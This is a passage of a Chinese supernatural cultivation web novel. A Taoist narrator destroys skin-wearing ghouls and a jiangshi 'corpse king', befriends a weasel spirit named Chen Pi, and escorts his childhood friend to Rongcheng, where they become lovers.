看着黎雅开车离开,我准备进站等着车了。结果,我突然嗅到了一丝特别不舒服的气息。
我是要去车站的,而且眼看着也要开车了,而有着那气息的人是从站里面出来的。
我犹豫了一下,还是跟了上去。因为我有种感觉,我要是不跟上去肯定会后悔。
这是个把自己捂得严严实实的男人,他看上去很壮实,他上了一辆公交车,我跟了上去。随后过了大约两个多小时,他在郊外的总站下了车。
之后这人又走了大约两公里左右,他的步伐看着很慢,但速度却出奇的快。要不是我有‘行’字步,早就被甩开了。
等到了一处桥下,他左顾右盼,没发现我,突然就消失不见了,连气息也跟着消失了。
我来到了桥下,四周荒凉,啥也没有。这人真就凭空消失了?
不对。
肯定有啥猫腻。
我四处探查,还真让我发现了,在这桥洞的前方总感觉怪怪的。我运转道力,双眼用力,看到了一块纱布挂在那。
我惊奇了。
要是不运转道力,那纱布就是桥洞的景象,寻常人来了根本发现不了这特别之处。
接着我用手去掀开这纱布,结果根本碰不到?随后我运转道力在手上,这才把纱布掀开。
打开一看,在那纱布后面是个洞穴,而那个人的气息又出现了。
除此之外,里面还有女人的声音。
我屏住气息摸了进去。
我之所以这样执着这个人,是因为他身上的气息让我觉得很不舒服,怎么说呢。就好像是我得弄死他才能舒服。
没错,就是这种感觉。
随着往里面的深入,那女人的声音越来越大,我也听出来了是在做那种事。
刺啦!
接着我听到了一声撕东西的声音,怎么形容呢,像是撕纸,又像是撕皮,总之听上去怪怪的。
“你呀,你得换一副皮囊了,都臭了。别被闻出来,连我都要跟着你遭殃。”随着那声音过后,里面传来了那女人的声音。
而她说的语种,我是第一次听到。虽然我能听懂,但绝不是咱们的语言。那语速很快,像是快进了两倍一样,叽里咕噜的。
“哼,如今阳间已经是末法时代了,就算是天师府,龙虎山那些老东西,鼻子也不灵。”男人也说的是那种语言,叽里咕噜的。
“东西呢?你别说没给我带回来。”女人又说。
“带了,我也确实该换皮了,这次你去弄点年轻的皮,但别弄出太大的动静。我很讨厌这臭皮囊。”
我听到了扔东西的声音,顺势看了过去。
刺啦!
我总算知道那声音是啥了,那是撕开人皮的声音,我看到那男的正从头把自己身上的皮撕到脚底下。
……
第九十二章魑魅魍魉
随着皮囊的脱落,那‘男的’露出了它的本色,那是一具带有血肉,血淋淋的空洞身体。他跟人的内部结构没啥区别,唯一不同的就是眼睛,那眼睛非常大,跟牛眼睛似的凸出来。
比起这‘男的’,那个‘女的’倒是有些不同,它是一堆白骨。她捡起了地上一个包裹,打开以后,我狠狠的皱了皱眉头。
那是一具新鲜的皮囊,是个年轻女人的皮囊。白骨动了,像是穿衣服一样把皮囊穿在身上,然后坐在了化妆台上化起了妆。
很快,她就变成了一个明媚的年轻女子。
此刻,我也知道我为啥有那么大的反应了,这玩意是‘魑魅魍魉’,传说中的精怪。
而这玩意弄死人,所以方士最恨这东西。不是我要来,是方士的祖宗血液里的东西,见到这东西就要弄死。
我深吸一口气,修道这么久了,第一次碰到本体的活物,他就在我眼前,所以有些激动。
“谁!”
突然,里面发现了我,猛地喊了一声。接着,那似人没皮的躯体移形换位地到了我面前。
我虎躯一震,这绝对是真家伙了。
既然发现了,我也不再藏着掖着,直接地跟他目光对上了。
“人?”他愣神了。
“不是有结界吗?人怎么能闯进来?”那女的画完了妆,看上去年轻貌美,像是个大学生。
我眯了眯眼睛,“你们居然敢害人!”
事到如今,我也知道咋回事了,那些皮囊都是人的,他们害人,不能留。
男的死死盯着我,“你是道士?”
我没说话,调动体内的道力,单手结印,一个‘靈’字加持。然后催动道力,一掌轰了过去。
别看道力打人的时候差点意思,但对付这种魑魅魍魉那效果翻倍。
那男的虽然有防备,但还是被我打中了。呼的一声,被道力打中的男的身上燃起了一道黑烟。
“不好,是有本事的!”男的连连后退,眼珠子都快瞪出来了。但他也不是毫无招架,朝我一挥手,我眼前突然卷起了一阵黑烟。
黑烟缭绕,遮住了我的眼睛,面前有些看不清了。我后退半步,怒吼一声。双眼用力,看到了那两个魑魅魍魉想要往里面逃去。
我能感觉到,在让他们跑下去,肯定能逃走的。这俩东西害人,决不能留。
说时迟那时快,我心中念起法印,嗖的一声,法印快如闪电,笼罩在两个东西的上方,雷声震耳欲聋。
“道爷饶命,道爷饶命啊!”
“道爷,我们再也不敢了!求您放了我们!”
扑通!
扑通!
两个东西腿都软了,直接跪在了那,而我面前的黑风也都不见了。
我快步走了过去,拧着眉头怒喝,“哼,居然敢害人,你们的死!”
“不要,道爷,我们这有宝贝,换我们一命。我们保证回虚间,再也不来害人!”其中那男的跪下了,膝盖下方都是血,看上去有些吓人。
提到虚间,我一大堆疑问,“你们来自虚间?”
那男的以为能活下来,急忙说道,“道爷,我们本是这山间的精怪,因为得了道行,活了百年。如今阳间末法时代,不适合修行了。我们现在就去虚间,保证再也不回来了。”
末法时代?刚才他也这样说过。
但我也听明白了,他本来就该前往那虚间的,却一直没走在这害人。
我冷哼一声,大手一挥直接把他拍成了灰烬。
随后,我就要朝着女的动手,结果,我还是年轻了。那女的早有准备,朝着我吐出一口黄沙,在我遮挡的瞬间,她一溜烟地进了那墙里面,仅仅留下了那一层皮。
我急忙上前查看,确实是让她跑了。
“这山洞一边通阳间,一边通虚间。”我仔细查看,发现那面墙就是通往虚间的路,但我过不去。
我猜测,应该是存在了某种限制。人前往虚间,需要通过那扇我看到的大门,精怪前往虚间,则是不需要那么麻烦。
我这会的猜测,后来都有验证,但其中还有更微妙的点,后面我会细说。
先说眼前吧,两个魑魅魍魉,一个被我弄死了,另一个逃走了。
眼下这洞穴里的东西倒成了我的了。
一大堆的东西,堆积如小山,有金银珠宝,有粮票自行车票,还有衣服啥的。但找了半天,也没发现有啥有用的。
但有一点可以肯定,这俩东西应该藏了近百年,因为里面有百年前人的衣服啥的。
“嗯?”本来还挺失望的,但我突然在衣服堆里面发现了一件灰色道袍,我拿起来一抖,里面掉出来了一个卷轴。
我打开一看,眼前一亮,这竟然是一张百年前的燕赵之地的地图。上面还有着各种的标记,但应该是因为年头久了,有的地方标记的有些模糊。
尽管如此,我也震惊了,因为我看到了游泳馆的那位置,用繁体字写的‘恶灵’两个字。还特别记载,此地有‘柳木镇凶’,每十年加一层土灰,掩盖凶气,万不能动土。
听到‘柳木镇凶’这四个大字,我突然背后发凉。我这才意识到在游泳馆当时有多危险。
柳木镇凶,道家用八十一根柳木钉,以生命为代价,把自己跟恶灵同时钉在地下三十米处。
这是没办法中的办法了!
可想而知,底下那东西到底有多凶。而我又想到了老和尚的话,他说是我未来的因果?难不成我们还会有渊源?
还是说六个小时的大炮镇不住它?
我深吸一口气,不再想了。那游泳馆的事,我反正尽力了。老子又不是神仙,能做到这样就不错了。
我继续看着地图,上面标记了不少地方,其中竟然还有我在的位置。
上面记载,这有只白骨怪,生性贪婪好色,喜美人皮。白骨怪诡计多端,极其狡猾。她引诱一百年无皮尸,帮她坏事做尽。除之。
两个魑魅魍魉的来历已经清楚了,一个是白骨怪,一个是无皮尸,倒是臭味相同。至于这道士,估计是在捉这俩东西的时候被弄死了。
还有几个记录,但都是些阴气比较重的地方,道士应该要前往看看的。
我觉得地图有用,顺手踹了起来,打算等下次再来燕赵之地去看看怎么回事。
我这边刚要走,突然有东西闯了进来,这玩意很长,一身的黄毛。
黄皮子?
我愣了一下,它怎么进来的。谁知道,它突然立了起来,朝我开口说人话,“老乡,老乡,你看我像不像人?”
我,“?”
……
第九十三章我侄子来了!
这是碰到黄皮子讨封了?
但它问得貌似有些不对,按照陆老爷子的记载,它应该问我像人还是像神?
然而,这两个答案都不能说,如果你说像人,那他的修为受损,这玩意疾恶如仇会报复你。你要说像神,那它会吸了你的运气,甚至是夺走你的寿命。
还有你也不能啥都不说,那样会坏了规矩,有损阴德,闹不好家里都跟着倒霉。
说白了这玩意就是个不祥之物,谁碰谁倒霉。
但眼前这个问得不对劲?
“滚!”我朝着它怒吼一声。
老子修道的方士,还能被个皮子给吓到?而对付这玩意最好的办法就是怒喝它,镇住它。
只要它露怯!
事就过去了!
说完,我转身看了一眼那洞府,在那梳妆台上,红色的蜡烛燃着火焰,里面看上去忽暗忽明的。
我大手一挥,那火焰突然飞到了衣物上,然后燃了起来。很快浓烟滚滚,我朝着门口走去。
“你,你看我像不像人?”结果我从那黄皮子身边擦肩而过,这玩意不但没被我吓住,反而又来了一句。
“你到底滚不滚?”我皱了皱眉头。
我能感受到,这黄皮子很弱,一巴掌就能拍死。
但它还真的倔,被我怒喝了还不走,直立着跟在我身后又问我,“你看我像不像人?”
我被气笑了,人家都是黄皮子讨封,这特么来了个黄皮子找揍的。要不是它身上没有那种戾气,念在它修行不易的份上,我早一巴掌拍死了。
但我还是没忍住,一把抓住了它,照着那屁股踢了一脚说道,“滚,我像你大爷!”
这一脚直接把它踢出了洞穴,而我也快步的走了出去。这次我没在看到那黄皮子,但眼下那天已经黑了,冷风吹的桥洞子哗哗作响。
我回头看了一眼那洞穴,因为那纱布挡着,看不到里面的任何情况。
“这纱布是个好东西。”刚才听那无皮尸白骨怪说过,这外面应该是布了结界,寻常人根本发现不了里面的情况,也进不来的。
我尝试运转道力把这纱布拿走,结果它只能被掀开一角让我进去,但根本拿不下来。就好像是它本来就是固定在这的一样。
试了半天也没拿走,我只能放弃了。再说那黄皮子,把它踢出去以后就见不到了,而眼下天空透彻,繁星闪动。
我在夜色下沿着道路往城区里面走,然后在第二天一早上买了返回东北老家的车票。
作为一个东北人,还是喜欢在老家待着,我也不例外。
倒不是多依赖老家,就是在家待着很舒服。这跟有钱没钱没多大关系。
这段时间我发现自己的修为又到了瓶颈,吸收灵气的速度越来越慢。索性,我也给自己放放假,没事就带着欢欢四处溜达,然后摸索着突破的办法,但在效果上都不是很好。
不过也有新的发现,当初想夺舍我的方士,他在生前是个化神期的高手。
至于化神期是个什么境界?有多强大?那我就不得而知了。
而我这个人一直以来都有个习惯,解决不了的事就不解决,不知道的事那就不知道。
这天闲暇之际,我又研究起了从洪教授那得来的丹药方子。实话实说,我挺佩服那洪教授的,这些符号,他能破解出两种草药,还认定为药方子,已经出乎我的意料了。
但很可惜,这是一篇道家的丹药方子。我想,他想破头应该也想不到的。
方子上说这丹药名为‘生肉丹’,是个能白骨生肉的丹药。
总共六种药材,寻龙草,地藏雪莲,马上楓,千蛊虫,天桨,杨树皮。
集齐这六种药草,以道火炉鼎炼之。
研究到最后我都笑了,除了杨树皮,其他五个我都不认识。
“冯宁,我能找你聊聊吗?”我在家客厅正无语呢,高月突然走了进来,她一改之前乖乖女的模样,鼓起勇气地跟我说话。
我笑了笑,“当然可以。”
穿好了羽绒服,我带着欢欢跟着高月出去了。我们沿着江边,一路朝着小路走去。
这边正在规划建立个公园,但因为冬天地冻,只能明年开春在动工。所以眼下四处除了那些钩机,吊车啥的,也看不到个人,倒是安静了。
高月突然停下了脚步,有些深情地对我说道,“我,我想走,我想去南方看看。”
对此我并不意外,我说,“想去哪?”
高月摇头,“我不知道,但我想走。我在电视机里看到好多的高楼大厦,看到好些女强人,她们都有权利追求自己的人生。我很羡慕。我也想成为那样的人。”
我愣了愣,高月在盯着我,那双眼睛清澈纯粹。而我也突然意识到高月真的很漂亮,那是一种善良的美丽。
我深吸一口气,虽然我们年龄相仿,但我经历的事多了些,看得也就透彻了些。
高月这不是觉悟了,而是被高叔高婶逼的。我问,“是不是高叔他们又在找铁饭碗了?”
高月盯着我点了点头,“冯宁,我们是好朋友,原本我想嫁给你,哪怕你傻,但我也想嫁给你。因为在你没变傻之前,我们小的时候,那些孩子都嫌弃我笨,就你不嫌弃我。但我父母毁掉了这些。”
高月深吸一口气,她打着胆子靠近我,然后抬脚在我嘴唇上亲了一口。
随后她羞涩道,“所以,我看了电视上的那些人,我想自由一些。我想你帮我,能,能借我二百块钱嘛。我想去南方。”
要是换做其她女人,我保证会让对方滚。白亲了老子一口,还想要钱?我没跟她要钱就不错了。
但是高月不同,她有着一颗极其纯净的灵魂,她应该是没办法了。
“高叔高婶他们应该不知道你要跑吧?”我笑着问道。
高月俏脸一红,小声说道,“冯宁,你不要告诉我爸妈好不好,我可以再想办法的。”
看着高月我有点哭笑不得,这是以为我不借给她钱呢。我说,“两万够吗?”
高月震惊,“两,两万?”
我说,“嗯。南方的话,我不认识啥人,帝都的话,我应该能帮上忙,我有朋友在那,我打个电话,她会给你安排的。”
我说的是黎雅,以我跟黎雅的关系,这点忙还是没问题的。
“不,不用了,我想自己闯荡。那,我就收下了,以后,我会……”没等高月的话说完,我急忙止住了她说道,“不用说啥报答的话,我们是好朋友。你一个人出门我不放心,我跟你一起去一趟吧。等你安顿好我在回来。”
高月重重地点了点头。
回到了家,我给高月拿了两万块,然后约在了三天后去南方走走。
结果刚把高月送走,我看到我家欢欢嘴里面叼着个什么东西,仔细一看,这不是那燕赵之地的皮子吗?
怎么跑我家来了?
最邪门的是它被我家欢欢治服了,见到我之后嘴里面还念叨着,“大爷,侄子来了!”
……
第九十四章它叫陈皮!
我有点无语,帝都离黑城近两千公里,它跑来管我叫大爷?
黄皮子这么皮的还真是少见。
“欢欢,放开它。”如今的欢欢已经是大狗了,它身体壮如牛,黄皮子哪里是它的对手。
听了我的话,欢欢张开嘴,黄皮子看上去有点疲惫,但还是立了起来问我,“老乡老乡,你看我像不像人。”
我深吸一口气,“你到底咋回事?缠上我了?”
黄皮子似乎也能听懂我的话,它眼珠子转了转,这次倒是没有像之前那样胡搅蛮缠,而是摇了摇头。
我意识到了不对劲,张口问它,“我问你,你是不是修行出了岔子?”
它摇头。
我又说,“你现在只能说这几句话对不对?”
它点头,我又说道,“你需要化人行对不对?”
它又点了点头。
我现在有点明白了,你看我像不像人和你看我像人还是像神是黄皮子修行的两个阶段。
这个小家伙应该是运气好得了天道的指点,但因为没有经验,又刚好碰到了我,所以本能地来找我。
所以我猜测,它先是化人,然后才能得道。而化人之前,它还只是个能学几句话的皮子,没啥本事的。
我心中倒是有了个办法,然后我朝它说道,“我可以帮你,但是有一个条件,你必须答应。”
这皮子很聪慧,点头如捣蒜。我说道,“你不许害人,但凡我发现你害了人,我灭了你。”
见它又点了点头,我手指缠绕道力,像是当初给欢欢开智那样,点在了它额头上。
呼!
黄皮子周围突然刮起一阵黑风,紧接着就看到它身体膨胀,化成了一个中年人的模样。
这一幕别说我了,连我家狗都呆住了。
但很快,它又恢复了那黄皮子的身躯,朝我跪拜连连点头。
“谢谢道长指点。”我听到了它的声音,但并不是它嘴里说出来的,而是传进了我耳中的。
“你能说话了?”我惊讶。
“回道长,并不能。这是我们黄仙的本领,只有您能听得到。”它说。
“哦。等等,不是说你们黄仙是个道统吗?”我想到了郭毅的话。
“回道长,小的懂得不多。我是受那白骨怪的影响,偷了一份天机开了灵智。那天机所言,我若是想得道,需跟第一个碰到的人问话,得到这人的认可先化人形,才可修炼高处。至于您说的道统,我不太清楚。”黄皮子站了起来盯着我。
闻言,我突然就明白了,我这是遇到刚修行的黄皮子了。
我又问,“你是说天机会指引你?”
黄皮子点头,“是。”
我想了想,心里也就清楚了,黄皮子的修炼是有固定模式的。到了哪个阶段,它们就会开哪个阶段的智慧。
随后我说道,“你是怎么找到我的?”
黄皮子说,“回道长,小的是闻着道长的气息,跟着火车一路追来的。”
此话一出,给我干沉默了。也就是说它从燕赵之地闻着我的气息跟着火车一路来的?跑了接近两千公里?
我说,“你叫啥?”
黄皮子说,“回道长,我叫陈皮。”
我疑惑,“陈皮?你不应该姓黄吗?”
陈皮摇头,“回道长,姓名是我自己起的。在我窝地附近有一座坟,那是个小孩的坟,它叫陈皮,我认识那些字以后,就接了他的香火叫这个名字了。”
我点头,这陈皮性子倒是温顺,但我还是提醒了他,不能去祸害人。
陈皮也跟我保证,他不会那样做的。
我放它走了,它钻进了白雪覆盖的大地里没了踪影。但我能感觉到它应该没走远。
陈皮的出现,这让我对五大仙的存在更加疑惑。如今我已经见过了陈皮,蟒天龙,还有长白山的那个六尾狐,按理来说,它们应该就是五大仙。
但本事上来说,貌似还不够呢。
按照萨满方面的五大仙来形容,那是仙家,真正的仙家,本事超群,无人能及的才对。
还有就是郭毅口中的五个道统了,他只承认有狐仙,剩下的四个都是道统。
而其中到底有什么联系呢?起码现在的我,想不通的。
这次回家,要说最大的收获应该就是欢欢了。它太强壮了,那肌肉都紧绷着,我在它的体内感受到了一股力量。
我可以确认那不是道力,但具体是啥力量我不清楚,但能量很正派。而有它在家守着,我也很放心了。
跟我爹娘又打了声招呼,说我要去南方一趟。我娘有些不舍,我爹也沉默了。
半天,我爹才说,“这咋又要走呢。”
我没跟他们说我要护着高月去南方,因为我觉得没必要。虽然这件事对高叔高婶有点不负责,但那跟我没啥关系,比起他们那种卖女儿的思想,高月挣脱出去我替她高兴。
说句难听的,哪怕高月死在了去往南方的路上,我都替她高兴。因为总算不用被摆弄了,有了那一丝的自由。
我也没解释,又给他们拿了两万块,然后在三天后跟高月去了南方。
说实话,这会都眼看九六年了,但是出行还是很不方便的。别的地方我不太该清楚,但龙省这边当时主要交通枢纽就是哈城。
不管你去哪,貌似都要从这经过。而这也是我第一次选择坐飞机。因为东北离南方实在太远了,要是坐火车的话,一来回就要小半个月。
高月选的地方是蜀地容城,飞机途经魔都,我们又转了个航班,花了大约两天的时间,落地了容城。
其实我也好奇,她为啥会选这么个地方,高月说她在电视上看到了一个叫春西路的地方,说那有一家火锅看着很好吃。
我哭笑不得,但这个理由虽然听起来很奇葩,但事实上当时很多东北人离开东北,比这种奇葩的理由还奇葩的理由多了去了。
按照现在的话来说,高月是个吃货,这个选择没啥错。
一落地,我们就感觉到了不适应。老家那边都零下了,虽然冷,但是干冷,只要穿得暖和些就好。这边很潮,有了十来度,但风打在脸上,像是被冷水泼了似的。
我还好,高月倒是很不适应呢。说实话,我觉得自己在出门在外这方面很厉害,但事实证明,前几次都是有人带我一起出去的,所以省去了很多麻烦,其实我在这方面还不如高月呢。
她起码知道先租个房子,反倒是我对哪哪都好奇。结果当天晚上就碰到事了。这事后来都上新闻了。
容城僵尸事件!
……
第九十五章要了我吧
我们来到容城市区后先去吃了一家当地小面,那味道出奇的好,但就是有点辣。哪怕时隔很多年,我都能记起那种香辣的味道。
之后我俩在街上游荡了两个多小时,还是高月说看到了个中介,她拉着我就去找房子了。
这也是我第一次知道有中介这么个行业,他们在马路旁搭了个棚子,然后在棚子四周拉了个绳,把手写的租房信息用夹子夹在上面。
周围找房子的人不少,我们挤了过去,房租的价格也是高低不平的。高地在城中心,一个月要七百,吓得高月捂眼睛。
她说她爸半年也赚不上这么多钱。
在说低的,六七十的都有,但高月也觉得贵。还是我给她出了个注意,选了个折中的办法,找了个一百块一个月的。
租房的地方在武区,属于本区很偏的那种地段。一室一厅带了个小院子,是那种农户住的地方。
“好啦,把你安全送到地方,我的任务也完成了。我明天去订机票,后天回老家。”看着高月有了住处,我也放下心了。我们应该算是青梅竹马吧,虽然她亲了我,但我对她也没有过多的想法。
而且东北人出门在外,都有着一种老乡关怀老乡的情怀。
说实话,也就是高月,要是其他人的话,我不会流露出自己真性情的一面。
“你后天就要走啊。”高月也不太会说话,收拾好了被子啥的,咬了咬嘴唇盯着我。
“嗯。”看着高月那不舍的表情,我想了想说道,“对了,别忘了给叔叔阿姨打电话报个平安。等我走了,要是遇到了难处给我家打电话,我不会坐视不理的。”
高月有些伤心地低着头,在她的脸上我看到了一丝后悔的情绪。
我笑道,“我还得待两天呢,还没走呢。行了,你把沙发给我收拾收拾,这两天我住这。我出去转悠转悠。”
听了我的话,高月一扫阴霾,然后乖巧地给我收拾起了沙发。
看着这个单纯的姑娘,我深吸了一口气,确定是个做老婆的料。就是不知道以后会便宜了谁呢。
眼下天色有些黑了,外面凉飕飕的,冰水吹脸似的。我感触,这南北方的气候差别还真大呢。
正想着呢,一个大妈突然抓住了我的手腕,猝不及防的。
我奇怪地看向她,大妈看上去有六十来岁,脸上全都是褶子。她个子不高,穿着个花棉袄。
“大妈,啥事啊?”我问。
“东北的娃娃?”她问。
“嗯,刚到这地方。”我点了点头。
“瓜娃子,您还敢来容城呢?这边闹僵巴儿你不道啊?”大妈朝我瞪了一眼说道。
大妈说的话我能听懂一半,她应该在说我傻,不该来容城。但这闹僵巴儿是啥玩意。
我明白大妈是一片好心,虽然没听懂,还是笑着点了点头。
“瓜娃子,快回屋睡着吧。僵巴儿厉害着呢,要你命呀。”说完大妈撒开了我的手,嘀嘀咕咕地走了。
我一头雾水的,也没把大妈的话放在心上,随便找了个方向闲逛。
说来也奇怪,这会天色还不算太黑,但一路上我就没碰到几个人。哪怕碰到了,他们瞥了我一眼,然后会急匆匆地赶路。
本来我以为是地方习俗,远离陌生人,不跟陌生人说话啥的。但越走越觉得不对劲儿,他们那害怕的劲头,一点也不像是怕人啊!
在外面逛了大约一个多小时,我总觉得奇奇怪怪的,想到高月一个人,于是我急忙赶了回去。
看到高月没啥事,我松了口气。等进屋后,我把门关好,然后问高月,“高月,你有没有碰到啥奇怪的事?”
高月摇了摇头,“没有啊,你出去之后我收拾屋子来着。我想起来了,刚才出去倒马桶,碰到了个东北大娘,她跟我说不让我乱走,说是有啥东西出没。但神神秘秘的,也没说清楚。”
我说,“你知道僵巴儿是啥吗?”
高月摇头,“是不是锅巴啊?在家的时候娘总给我贴大米锅巴。”
我哭笑不得,虽然我不知道那僵巴儿是啥,但肯定不是吃的锅巴。
初来乍到,倒也没想那么多,我觉得还是习俗。
高月在沙发上给我铺好了褥子,被子,我躺在上面暖暖呼呼的。
奔波了一路,觉得有些疲惫。我很快呼呼大睡了。结果睡到半夜,突然觉得身上有些暖和。
我一睁眼,看到高月主动投怀入抱,她声音像是嚼糯米,柔柔弱弱地说,“冯宁,要了我的身子吧。我想给你。”
其实从高月主动亲了我,在到我们住进了这一室一厅,我已经有预感高月会这样做了。
看着穿着红色肚兜兜的高月,我一把把她搂到了怀里说道,“这多冷,被窝里热乎。”
说完,我一把扯掉了她的肚兜兜,然后做起了那种事。
女人也好,男人也好,一旦突破了某种束缚,大家都会走向两种极端。
而这种极端往往与曾经的生活恰恰相反,直到后来我才明白过来,这是因为压抑过,所以在尝到了自由的甜头,报复的发泄。
而这方面高月是我的启蒙老师,高月说她早就想跟我做这种事了,总算做了,心里面很舒服,前所未有的愉悦。
就好像是没有遗憾了,然后再迈进下一步一样。
我搂着高月也不知道说啥,我其实不是个随便的人,但作为我方士,骨子里貌似带着一种邪魅,那就是来者不拒。
这叫做自由!
按照方士的说法,那就是随性,不留遗憾,也是一种修行方式。
我跟高月挤在了狭小的沙发上,折腾了一个多小时,她很快地睡了过去。而我突然浑身发热,道力猛地增长。
我又突破了!
我下意识地看着沙发上的那落红,脑子里冒出来一个疑问,这方士不会是邪修吧?阴阳调和就突破?
那老子跟那个金友殡葬想要害人的邪修有啥区别呢?
随后我深吸一口气,“邪修就邪修吧!老子心正就好!”
当然,我也就是这样想想,因为在方士的记忆里,方士那是再正经不过的道统了。方士的存在,甚至可能比道士还要久远。
都说先秦方士,这个说法其实不对,因为在先秦之前就已经有方士了。他们的存在,非常的神秘。
“呼呼呼!”
我正想着呢,客厅的窗户外有动静,那声音听上去像是大口的喘息。
难道有人?
……
第九十六章尸王
我微微抬起头,透着窗户真就看到了一道人影。这让我感觉有点被冒犯,刚做完那种事,难不成被人偷窥了?
但想想貌似也不太可能,以我现在的实力,不管在屋内屋外,寻常人在十米之外都能感受到气息。
而这家伙没有一点的动静,要不是那喘息声,估计也不会被发觉。
难道是同类人?
我钻出了被窝,给高月盖好了被子,随后穿好了衣服摸了出去。
然后到了窗口,那道人影倒是不见了。
但现在可以确定,刚才肯定有人来过,也可能不是人。因为这窗口有着一股恶臭,像是人身上腐烂的气息,又有点像尸气。
到底什么东西?
我皱了皱眉头,总觉得事情不简单,我想起了那老人家的话,总觉得跟那个什么僵巴儿有关系。为了避免高月危险,我顺手把门锁上了,然后闻着气息跟了过去。
大约过了十来分钟,我在河岸边的小路上看到了那道身影。街灯昏昏暗暗的,但也足够看得清楚,那身影是个人,走起路来一跛一跛的,像是个瘸腿。
我看的是背影,感觉上应该就是个人,但穿着上有着很大的差异。这会都冬天了,晚上也有零度左右,寒风刺骨,结果他就穿这个破破烂烂的蓝色大衫,一条破烂的布裤。
对了,他还有一个非常醒目的特点,那就是留有一条大辫子,那辫子都耷拉到脚后跟了,油光瓦亮的。
这家伙是人?但看上去有点像是古人呢?
我捉摸不定,催动道力,双眼猛地用力,跟上去的同时,也想一探究竟。
然而看了半天,对方没有任何变化,就是那副样子。
这让我更加好奇了,心中默念‘行’字,打算追上去。
嗖嗖嗖。
然而就在此时,在这夜空之中,突然划过了几道身影,他们的速度很快,虽然不如我‘行’字步,但也跟欢欢的脚步差不多了。
“有人!”我听到几人中有人诧异地说了一句。
跟着在我面前就停了女人。女人二十来岁,穿着中山装,布鞋,留着一个一对马尾辫。她长了一张娃娃脸,皮肤白嫩白嫩的,一双水灵灵的大眼睛非常清澈。
她正打量着我。
“你是什么人?大半夜的不回家睡觉,在这干啥?”说话的是个男人,一米八的个头,长相俊朗,同样也是中山装,但面色阴沉地盯着我。
那眼神似乎不把我看穿不罢休似的。
我眯了眯眼睛,我在这些人身上感受到了奇特的能量,但这男的和这女的,两人的能量还都不太一样。
怎么说呢,我是修道的,主要靠道力。他们呢,不是修道的,也不是修佛的,但他们拥有类似接近的力量,但还不是同一个路数。
这种就显得很奇怪了。
不过两人的气息并不强,没啥威胁。感觉也不像是啥坏人,但那男的语气我不太喜欢,盛气凌人的。
“我刚才在我家窗户前看到了人影,所以就追出来看看是谁。就是那个家伙。”我到现在还觉得那是个人,干脆伸手指了指那身影。
“你胆子真大,最近容城发生的事不知道吗?人家都躲着,你偏偏大半夜的出来看!那僵……”
“阿梅!”不等女人把话说完,那男的突然怒喝,女人赶忙捂住了嘴,然后男的冲我发火,“别在这添乱,快点滚回去睡觉。”
听着他在那大呼小叫的,我皱了皱眉头,我觉得我一巴掌能拍死他,他有点不自知。
但他没有恶意,我想这应该是他们的工作,觉得我添乱吧。索性有人处理,也省着我麻烦了。
我正要走,突然又出现了两个人,也是一男一女,女的模样清秀,脸色紧张,“队长,不好了,后面还有这东西,围过来了。应该,应该有七个!”
那俊朗男睁大眼睛,“啥,七个!”随后他咬了咬牙对那阿梅说,“阿梅,我们去应对,你保护人民,务必把他送回家。”
那阿梅一把拉过我手,朝着另一侧走,“走!”
说实话,事情到了这里,我都有点稀里糊涂的。我好奇那是啥玩意?
但接着我跟阿梅就碰到了。
她拉着我钻的胡同,三两下就跳到了房上,她问我家在哪。但没等我回答呢,突然一道身影从远处跳来跳去的。
我还纳闷啥玩意呢?那身影突然就跳过来了。一点不夸张,那东西一跳五米高,跳着跳着身影就消失了,等再出现,已经来到了我们面前。
我总算知道那大妈说的‘僵巴儿’是啥了,这玩意在我们叫僵尸,但也只是在电影上看过见过,哪怕陆老爷子的笔记,还是方士的记忆,都没提到过这东西。
但电影里的僵尸,都是穿着老古代的朝服,看上去很僵硬。眼前的这不一样,浑身上下都露着,散发着恶臭,脸像是正在脱皮,令人作呕。
“尸,王!”阿梅脸色发白腿有些软了,她一把推开我说,“你快跳下去找地方藏起来,我拖住它。”
阿梅的话我微微一怔,这女人真讲义气。从气息上来判断,阿梅确实有点实力,但应该不是这个东西的对手。
它跟刚才我追的那个完全不一样,那个是有尸气,但感觉没危险。这个浑身都散发着煞气,这些气息是实体化的,阿梅碰到估计就会被感染。
“你不是它对手,那些气息已经实体化了,你碰不得。”我说。
“你废什么话,快跑!”阿梅怪异地看着我。
然而,那僵尸根本不会给我们废话的时间,它突然就扑向了阿梅,张开嘴,散发着恶臭的獠牙朝着她脖子咬了过去。
尸王的速度太快,阿梅根本来不及反应,她因为惊吓过度,直接软在了地上。
砰!
我出手了。
准确的说我出脚了,一脚把这尸王踹出了五米远。
而后我也愣了愣,这玩意这么硬吗?都踹出钢板的响声了?
“呼呼呼……”阿梅逃过一劫,大口地喘着粗气,半天才看向我,美目震惊,“你打飞了尸王?”
我平静地看向她,“它也不强啊?感觉就是身体硬了点。这年头,这东西哪来的啊?”
“不,不强?”阿梅扯了扯嘴角。
眼下,那尸王又跳了过来,它这次是奔我来的,想要了我的命。
“真的,只是你太弱了,所以感受不到它不强。”我认真道。
……
第九十七章神秘组织
阿梅盯着我,指着那尸王惊恐道,“它,它扑过来了,小心!”
闻言,我不紧不慢的看向了那尸王,在我眼里的它的动作不算快。
我后发制人,在它要咬到我的一瞬间,运转道力,猛地一拳轰了过去。
砰!
尸王在碰到我那纯粹的道力之后,那身上的煞气燃起了火焰,他在我面前炸开,并且化为了灰烬。
夜色下,冷风吹袭,我面无表情地看着尸王消失的地方。
我之所以会展现实力有两方面原因,一来是眼下情况危险,我不得不出手。
二嘛,迄今为止,我也见过了一些能人异士,但其中貌似就那田道士,张坤,这两个人有点本事了。突然出现这样一支特别的小队,我很感兴趣。
“你,你真的灭掉了尸王?”半天,身后才传来了阿梅那不可思议的话。
我瞥了阿梅一眼,“这东西哪冒出来的,看上去倒是吓人。”
阿梅无语了,她深吸一口气,好半天才从地上站起来。哪怕到现在,她的腿都是软的,看来刚才吓个不轻。
对此我的反应不大,我到现在也算是身经百战了,但游泳馆那个东西,我也连大气都不敢喘。所以我不会觉得好笑,反而很理解那种心情。
这玩意会死人的,除非无知的人才会笑。
“你是道士吗?对付这种东西,我还是第一次见到有人徒手把它打得灰飞烟灭的。”阿梅的眼睛始终盯着我,不可置信。
“不是。我是东北的,在那边帮人看看事啥的,第一次碰到这玩意。”我说。
“啥?东北看事的这么,厉害吗?”阿梅又说,“不是说那边道家传承落魄了吗?一群假萨满装神弄鬼的,看来,传言都是假的。”
我疑惑地看向阿梅,她在那碎碎念,听得我云里雾里的。
但她好像误会了啥!
我想解释,但又不知道该怎么解释。总不能说我被人夺舍,然后成了方士吧?我总觉得方士的这个身份轻易还是不能说的。
